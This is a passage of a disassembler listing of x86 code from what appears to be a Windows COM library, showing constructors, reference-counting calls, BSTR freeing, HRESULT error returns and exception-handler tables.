		jnz	short loc_69B3C94E
		mov	eax, [edi]
		lea	ecx, [ebp-40h]
		push	ecx
		push	dword ptr [ebp-38h]
		push	edi
		call	dword ptr [eax+20h]
		test	eax, eax
		jnz	short loc_69B3C9C2
		cmp	[ebp-40h], ebx
		jz	short loc_69B3C9C2
		lea	eax, [ebp-48h]
		push	eax
		push	dword ptr [ebp-38h]
		push	esi
		call	sub_69B3C634
		mov	[ebp-50h], eax
		mov	eax, [ebp-40h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		cmp	[ebp-50h], ebx
		jz	short loc_69B3C9C2
		mov	dword ptr [ebp-50h], 80004005h
		jmp	short loc_69B3C951
; ---------------------------------------------------------------------------


loc_69B3C9C2:				; CODE XREF: sub_69B3C888+10Cj
					; sub_69B3C888+111j ...
		push	dword ptr [ebp-38h] ; BSTR
		call	SysFreeString
		mov	[ebp-38h], ebx
		inc	dword ptr [ebp-4Ch]
		jmp	short loc_69B3C974
; ---------------------------------------------------------------------------


loc_69B3C9D3:				; DATA XREF: .text:69B3CA54o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3C9DC:				; DATA XREF: .text:69B3CA58o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-50h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx
		mov	esi, [ebp+8]


loc_69B3C9FD:				; CODE XREF: sub_69B3C888+CDj
		cmp	[ebp-2Ch], ebx
		jz	short loc_69B3CA16
		lea	ecx, [esi+4Ch]
		call	sub_69B18381
		mov	ecx, [ebp-30h]
		cmp	ecx, ebx
		jz	short loc_69B3CA16
		call	sub_69B18ED9


loc_69B3CA16:				; CODE XREF: sub_69B3C888+178j
					; sub_69B3C888+187j
		lea	eax, [ebp-34h]
		push	eax
		call	sub_69B17230
		push	dword ptr [ebp-38h] ; BSTR
		call	SysFreeString
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	[ebp-1Ch], ebx
		jz	short loc_69B3CA3E
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B3CA3E:				; CODE XREF: sub_69B3C888+1ABj
		mov	eax, [ebp-50h]


loc_69B3CA41:				; CODE XREF: sub_69B3C888+20j
					; sub_69B3C888+6Fj
		call	sub_69B1853C
		retn	8
sub_69B3C888	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B3CA50	dd 0FFFFFFFFh			dd offset loc_69B3C9D3
		dd offset loc_69B3C9DC

; =============== S U B	R O U T	I N E =======================================



sub_69B3CA5C	proc near		; CODE XREF: sub_69B3CB9A+56p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3C17F
		mov	eax, [esp+4+arg_0]
		and	dword ptr [esi+14h], 0
		mov	dword ptr [esi], offset	off_69B12350
		mov	dword ptr [esi+4], offset off_69B278F4
		mov	[esi+10h], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, esi
		pop	esi
		retn	4
sub_69B3CA5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CA88	proc near		; DATA XREF: .text:off_69B278F4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3C164
		test	[esp+4+arg_0], 1
		jz	short loc_69B3CAA0
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B3CAA0:				; CODE XREF: sub_69B3CA88+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B3CA88	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CAA7	proc near		; CODE XREF: sub_69B3CC8F+4p
					; sub_69B3CDC8+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B984C0
		push	off_69B984C4
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B3CAA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CAC8	proc near		; DATA XREF: .text:69B13940o
					; .text:69B14AA0o ...
		push	10h
		pop	eax
		retn
sub_69B3CAC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CACC	proc near		; DATA XREF: .text:69B14AA4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B3CADC
		retn	8
sub_69B3CACC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CADC	proc near		; CODE XREF: sub_69B3CACC+8p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	dword ptr [edi]
		mov	esi, ecx
		push	esi
		call	sub_69B17320
		lea	eax, [edi+4]
		push	eax
		lea	ecx, [esi+4]
		call	sub_69B4D414
		mov	eax, [edi+8]
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	[esi+8], eax
		call	sub_69B4D414
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B3CADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CB11	proc near		; DATA XREF: .text:off_69B27934o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3C290
		test	[esp+4+arg_0], 1
		jz	short loc_69B3CB29
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B3CB29:				; CODE XREF: sub_69B3CB11+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B3CB11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3CB30	proc near		; DATA XREF: .text:69B123C0o

var_10		= byte ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3CB4A
		mov	eax, 80004005h
		jmp	short loc_69B3CB95
; ---------------------------------------------------------------------------


loc_69B3CB4A:				; CODE XREF: sub_69B3CB30+11j
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_10]
		call	sub_69B1A8C7
		lea	eax, [esi+4Ch]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_69B18E23
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	esi
		call	sub_69B3C634
		lea	ecx, [ebp+var_4]
		mov	esi, eax
		call	sub_69B1900C
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B3CB95:				; CODE XREF: sub_69B3CB30+18j
		pop	edi
		leave
		retn	18h
sub_69B3CB30	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CB9A	proc near		; CODE XREF: sub_69B3CC54+21p
					; sub_69B3CE0F+41p ...
		push	20h
		push	offset dword_69B3CC48
		call	sub_69B19C5C
		mov	esi, [ebp+0Ch]
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_69B3CBB9
		mov	eax, 80004003h
		jmp	loc_69B3CC39
; ---------------------------------------------------------------------------


loc_69B3CBB9:				; CODE XREF: sub_69B3CB9A+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jnz	short loc_69B3CBCD
		mov	eax, 80004005h
		jmp	short loc_69B3CC39
; ---------------------------------------------------------------------------


loc_69B3CBCD:				; CODE XREF: sub_69B3CB9A+2Aj
		push	1
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[esi], edi
		mov	[ebp-4], edi
		push	18h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-2Ch], ecx
		cmp	ecx, edi
		jz	short loc_69B3CBF7
		push	dword ptr [ebp+8]
		call	sub_69B3CA5C
		jmp	short loc_69B3CBF9
; ---------------------------------------------------------------------------


loc_69B3CBF7:				; CODE XREF: sub_69B3CB9A+51j
		xor	eax, eax


loc_69B3CBF9:				; CODE XREF: sub_69B3CB9A+5Bj
		mov	[esi], eax
		mov	[ebp-30h], edi
		jmp	short loc_69B3CC21
; ---------------------------------------------------------------------------


loc_69B3CC00:				; DATA XREF: .text:69B3CC4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3CC09:				; DATA XREF: .text:69B3CC50o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B3CC21:				; CODE XREF: sub_69B3CB9A+64j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B3CC39:				; CODE XREF: sub_69B3CB9A+1Aj
					; sub_69B3CB9A+31j
		call	sub_69B1853C
		retn	8
sub_69B3CB9A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3CC48	dd 0FFFFFFFFh			dd offset loc_69B3CC00
		dd offset loc_69B3CC09

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3CC54	proc near		; DATA XREF: .text:69B12368o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jnz	short loc_69B3CC66
		mov	eax, 80004003h
		jmp	short loc_69B3CC8A
; ---------------------------------------------------------------------------


loc_69B3CC66:				; CODE XREF: sub_69B3CC54+9j
		and	[ebp+arg_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		push	dword ptr [esi+10h]
		call	sub_69B3CB9A
		test	eax, eax
		mov	ecx, [ebp+arg_4]
		jnz	short loc_69B3CC87
		mov	edx, [esi+14h]
		mov	[ecx+14h], edx


loc_69B3CC87:				; CODE XREF: sub_69B3CC54+2Bj
		mov	[edi], ecx
		pop	esi


loc_69B3CC8A:				; CODE XREF: sub_69B3CC54+10j
		pop	edi
		pop	ebp
		retn	8
sub_69B3CC54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CC8F	proc near		; CODE XREF: sub_69B3CE6E+2Ap
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3CAA7
		lea	edi, [esi+1Ch]
		mov	ecx, edi
		call	sub_69B1D6CD
		mov	dword ptr [edi], offset	off_69B279BC
		mov	dword ptr [esi], offset	off_69B123A4
		mov	dword ptr [esi+4], offset off_69B279AC
		mov	dword ptr [esi+0Ch], offset off_69B279A8
		mov	dword ptr [esi+18h], offset off_69B2796C
		mov	dword ptr [esi+34h], offset off_69B2794C
		mov	dword ptr [esi+38h], offset off_69B27938
		xor	edi, edi
		mov	[esi+40h], edi
		or	dword ptr [esi+44h], 0FFFFFFFFh
		push	100h
		push	1000h
		lea	ecx, [esi+4Ch]
		mov	[esi+48h], edi
		mov	dword ptr [esi+3Ch], offset off_69B3CD00
		call	sub_69B19B0D
		mov	[esi+74h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B3CC8F	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B3CD00	dd offset loc_69B14A3C	; DATA XREF: sub_69B3CC8F+5Bo
; ---------------------------------------------------------------------------


loc_69B3CD04:				; DATA XREF: .text:69B27960o
		lea	eax, [ecx+18h]
		retn
; ---------------------------------------------------------------------------


loc_69B3CD08:				; DATA XREF: .text:69B2788Co
					; .text:69B27964o
		lea	eax, [ecx-34h]
		add	ecx, 0FFFFFFE8h
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_69B3CD15:				; DATA XREF: .text:off_69B279ACo
		sub	dword ptr [esp+4], 4
		jmp	sub_69B3C3D3
; ---------------------------------------------------------------------------


loc_69B3CD1F:				; DATA XREF: .text:off_69B2796Co
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B3C3D3
; ---------------------------------------------------------------------------


loc_69B3CD29:				; DATA XREF: .text:off_69B2794Co
		sub	dword ptr [esp+4], 34h
		jmp	sub_69B3C3D3
; ---------------------------------------------------------------------------


loc_69B3CD33:				; DATA XREF: .text:off_69B27938o
		sub	dword ptr [esp+4], 38h
		jmp	sub_69B3C3D3
; ---------------------------------------------------------------------------


loc_69B3CD3D:				; DATA XREF: .text:off_69B279A8o
		push	esi
		mov	esi, ecx
		call	sub_69B3CD5C
		test	byte ptr [esp+8], 1
		jz	short loc_69B3CD55
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B3CD55:				; CODE XREF: .text:69B3CD4Aj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B3CD5C	proc near		; CODE XREF: .text:69B3CD40p
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+10h]
		mov	ecx, edi
		mov	dword ptr [esi-0Ch], offset off_69B123A4
		mov	dword ptr [esi-8], offset off_69B279AC
		mov	dword ptr [esi], offset	off_69B279A8
		mov	dword ptr [esi+0Ch], offset off_69B2796C
		mov	dword ptr [edi], offset	off_69B279BC
		mov	dword ptr [esi+28h], offset off_69B2794C
		mov	dword ptr [esi+2Ch], offset off_69B27938
		call	sub_69B89EA3
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+44h]
		call	loc_69B1AE86
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi-0Ch]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, edi
		call	sub_69B3BA55
		pop	edi
		pop	esi
		jmp	sub_69B2C65C
sub_69B3CD5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CDC8	proc near		; CODE XREF: sub_69B58C7C+83p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B3CAA7
		push	[esp+4+arg_0]
		lea	ecx, [esi+1Ch]
		mov	dword ptr [esi], offset	off_69B1236C
		mov	dword ptr [esi+4], offset off_69B2908C
		mov	dword ptr [esi+0Ch], offset off_69B27934
		mov	dword ptr [esi+18h], offset off_69B278F8
		call	sub_69B1BF48
		mov	ecx, [esp+4+arg_0]
		call	sub_69B3DABE
		push	eax
		lea	ecx, [esi+20h]
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	4
sub_69B3CDC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3CE0F	proc near		; DATA XREF: .text:69B123A0o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jnz	short loc_69B3CE22
		mov	eax, 80004003h
		jmp	short locret_69B3CE6A
; ---------------------------------------------------------------------------


loc_69B3CE22:				; CODE XREF: sub_69B3CE0F+Aj
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3CE36
		mov	eax, 80004005h
		jmp	short loc_69B3CE69
; ---------------------------------------------------------------------------


loc_69B3CE36:				; CODE XREF: sub_69B3CE0F+1Ej
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		push	[ebp+arg_4]
		push	esi
		call	sub_69B3CB9A
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B3CE69:				; CODE XREF: sub_69B3CE0F+25j
		pop	edi

locret_69B3CE6A:			; CODE XREF: sub_69B3CE0F+11j
		leave
		retn	8
sub_69B3CE0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CE6E	proc near		; DATA XREF: .text:69B1C818o
					; .text:69B1C828o
		push	20h
		push	offset dword_69B3CEF8
		call	sub_69B19C5C
		push	1
		lea	ecx, [ebp-24h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		push	78h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-28h], ecx
		test	ecx, ecx
		jz	short loc_69B3CE9F
		call	sub_69B3CC8F
		jmp	short loc_69B3CEA1
; ---------------------------------------------------------------------------


loc_69B3CE9F:				; CODE XREF: sub_69B3CE6E+28j
		xor	eax, eax


loc_69B3CEA1:				; CODE XREF: sub_69B3CE6E+2Fj
		mov	esi, eax
		mov	[ebp-2Ch], esi
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-30h], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B3CEDD
; ---------------------------------------------------------------------------


loc_69B3CEBC:				; DATA XREF: .text:69B3CEFCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3CEC5:				; DATA XREF: .text:69B3CF00o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B3CEDD:				; CODE XREF: sub_69B3CE6E+4Cj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-24h]
		call	sub_69B1976C
		mov	eax, [ebp-30h]
		call	sub_69B1853C
		retn	8
sub_69B3CE6E	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B3CEF8	dd 0FFFFFFFFh			dd offset loc_69B3CEBC
		dd offset loc_69B3CEC5

; =============== S U B	R O U T	I N E =======================================



sub_69B3CF04	proc near		; DATA XREF: .text:69B123D8o

arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jnz	sub_69B3CB9A
		mov	eax, 80004003h
		retn	8
sub_69B3CF04	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CF17	proc near		; DATA XREF: .text:69B14A9Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B3CF36
		push	ebx
		mov	ebx, eax


loc_69B3CF28:				; CODE XREF: sub_69B3CF17+1Cj
		mov	ecx, edi
		call	sub_69B3CF3F
		add	edi, 10h
		dec	ebx
		jnz	short loc_69B3CF28
		pop	ebx


loc_69B3CF36:				; CODE XREF: sub_69B3CF17+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B3CF17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CF3F	proc near		; CODE XREF: sub_69B3CF17+13p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B3CF3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3CF5C	proc near		; DATA XREF: .text:69B1C6C8o
		push	1Ch
		push	offset dword_69B3CFE0
		call	sub_69B19C5C
		mov	edi, 80004005h
		push	0
		lea	ecx, [ebp-24h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		call	sub_69B5E2ED
		mov	esi, eax
		mov	[ebp-28h], esi
		test	esi, esi
		jz	short loc_69B3CFC9
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		mov	[ebp-2Ch], edi
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B3CFC9
; ---------------------------------------------------------------------------


loc_69B3CFA1:				; DATA XREF: .text:69B3CFE4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3CFAA:				; DATA XREF: .text:69B3CFE8o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-24h]
		call	sub_69B2D599
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B3CFC9:				; CODE XREF: sub_69B3CF5C+2Bj
					; sub_69B3CF5C+43j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-24h]
		call	sub_69B1976C
		mov	eax, edi
		call	sub_69B1853C
		retn	8
sub_69B3CF5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B3CFE0	dd 0FFFFFFFFh			dd offset loc_69B3CFA1
		dd offset loc_69B3CFAA

; =============== S U B	R O U T	I N E =======================================



sub_69B3CFEC	proc near		; CODE XREF: sub_69B3D05C+27p
					; sub_69B3D099+17p
		push	10h
		push	offset dword_69B3D050
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		call	sub_69B1BCCF
		mov	esi, eax
		mov	[ebp-1Ch], esi
		mov	byte ptr [esi+8Ch], 1
		push	1
		mov	ecx, esi
		call	sub_69B1D6A4
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-20h], eax
		jmp	short loc_69B3D044
; ---------------------------------------------------------------------------


loc_69B3D026:				; DATA XREF: .text:69B3D054o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3D02F:				; DATA XREF: .text:69B3D058o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B3D044:				; CODE XREF: sub_69B3CFEC+38j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	8
sub_69B3CFEC	endp

; ---------------------------------------------------------------------------
dword_69B3D050	dd 0FFFFFFFFh			dd offset loc_69B3D026
		dd offset loc_69B3D02F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3D05C	proc near		; DATA XREF: .text:69B1C7C8o
					; .text:69B1C7D8o ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	1
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		cmp	dword_69B9296C,	0
		jz	short loc_69B3D07D
		mov	esi, 80004001h
		jmp	short loc_69B3D08A
; ---------------------------------------------------------------------------


loc_69B3D07D:				; CODE XREF: sub_69B3D05C+18j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B3CFEC
		mov	esi, eax


loc_69B3D08A:				; CODE XREF: sub_69B3D05C+1Fj
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		mov	eax, esi
		pop	esi
		leave
		retn	8
sub_69B3D05C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3D099	proc near		; CODE XREF: sub_69B5DCDA+1Dp
					; sub_69B7C4A6+46p
					; DATA XREF: ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	0
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B3CFEC
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		mov	eax, esi
		pop	esi
		leave
		retn	8
sub_69B3D099	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D0C6	proc near		; DATA XREF: .text:69B1C698o
					; .text:69B1C6A8o ...
		push	24h
		push	offset dword_69B3D170
		call	sub_69B19C5C
		push	0
		lea	ecx, [ebp-24h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		call	sub_69B778A6
		mov	esi, eax
		mov	[ebp-28h], esi
		push	1
		mov	ecx, esi
		call	sub_69B1D6A4
		mov	byte ptr [esi+8Ch], 1
		push	44h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-2Ch], ecx
		test	ecx, ecx
		jz	short loc_69B3D112
		push	esi
		call	sub_69B5D774
		jmp	short loc_69B3D114
; ---------------------------------------------------------------------------


loc_69B3D112:				; CODE XREF: sub_69B3D0C6+42j
		xor	eax, eax


loc_69B3D114:				; CODE XREF: sub_69B3D0C6+4Aj
		mov	esi, eax
		mov	[ebp-30h], esi
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-34h], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B3D158
; ---------------------------------------------------------------------------


loc_69B3D12F:				; DATA XREF: .text:69B3D174o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3D138:				; DATA XREF: .text:69B3D178o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-24h]
		call	sub_69B2D599
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B3D158:				; CODE XREF: sub_69B3D0C6+67j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-24h]
		call	sub_69B1976C
		mov	eax, [ebp-34h]
		call	sub_69B1853C
		retn	8
sub_69B3D0C6	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B3D170	dd 0FFFFFFFFh			dd offset loc_69B3D12F
		dd offset loc_69B3D138

; =============== S U B	R O U T	I N E =======================================



sub_69B3D17C	proc near		; CODE XREF: sub_69B3D903+54p
					; sub_69B5FFCF+66p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	[esp+arg_4]
		jz	short loc_69B3D18E
		call	sub_69B5FB10
		jmp	short locret_69B3D193
; ---------------------------------------------------------------------------


loc_69B3D18E:				; CODE XREF: sub_69B3D17C+9j
		call	sub_69B62A56

locret_69B3D193:			; CODE XREF: sub_69B3D17C+10j
		retn	8
sub_69B3D17C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D196	proc near		; CODE XREF: sub_69B3D1DE+Ap
					; sub_69B3DD97+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	0C4h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B3D1B4
		push	[esp+4+arg_8]
		mov	ecx, eax
		call	sub_69B39325
		mov	esi, eax
		jmp	short loc_69B3D1B6
; ---------------------------------------------------------------------------


loc_69B3D1B4:				; CODE XREF: sub_69B3D196+Dj
		xor	esi, esi


loc_69B3D1B6:				; CODE XREF: sub_69B3D196+1Cj
		test	esi, esi
		jnz	short loc_69B3D1C1
		mov	eax, 8007000Eh
		jmp	short loc_69B3D1DA
; ---------------------------------------------------------------------------


loc_69B3D1C1:				; CODE XREF: sub_69B3D196+22j
		mov	eax, [esi]
		push	edi
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, edi
		pop	edi


loc_69B3D1DA:				; CODE XREF: sub_69B3D196+29j
		pop	esi
		retn	0Ch
sub_69B3D196	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D1DE	proc near		; DATA XREF: .text:69B1C6D8o
					; .text:69B1C6E8o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B3D196
		retn	8
sub_69B3D1DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3D1F0	proc near		; CODE XREF: sub_69B3F49B+3j
					; .text:69B3F4D0j ...
		mov	eax, offset off_69B3D1F8
		retn
sub_69B3D1F0	endp

; ---------------------------------------------------------------------------
		align 4
off_69B3D1F8	dd offset off_69B2B19C	; DATA XREF: sub_69B3D1F0o
		dd offset sub_69B6860C

; =============== S U B	R O U T	I N E =======================================



sub_69B3D200	proc near		; CODE XREF: sub_69B3D2F2+20p
					; sub_69B3D2F2+3Cp ...
		push	10h
		push	offset dword_69B3D278
		call	sub_69B19C5C
		mov	edi, ecx
		mov	[ebp-1Ch], edi
		lea	esi, [edi+54h]
		mov	ebx, [esi]
		test	ebx, ebx
		jz	short loc_69B3D21F
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_69B3D269


loc_69B3D21F:				; CODE XREF: sub_69B3D200+18j
		push	esi		; Target
		call	sub_69B18980
		mov	[ebp-20h], eax
		test	eax, eax
		jnz	short loc_69B3D25F
		and	[ebp-4], eax
		lea	eax, [ebp-20h]
		push	eax
		mov	ecx, edi
		call	sub_69B1D8A8
		jmp	short loc_69B3D25B
; ---------------------------------------------------------------------------


loc_69B3D23C:				; DATA XREF: .text:69B3D27Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3D245:				; DATA XREF: .text:69B3D280o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		add	esi, 54h
		push	0
		push	esi
		call	sub_69B18788
		call	sub_69B2E860


loc_69B3D25B:				; CODE XREF: sub_69B3D200+3Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh


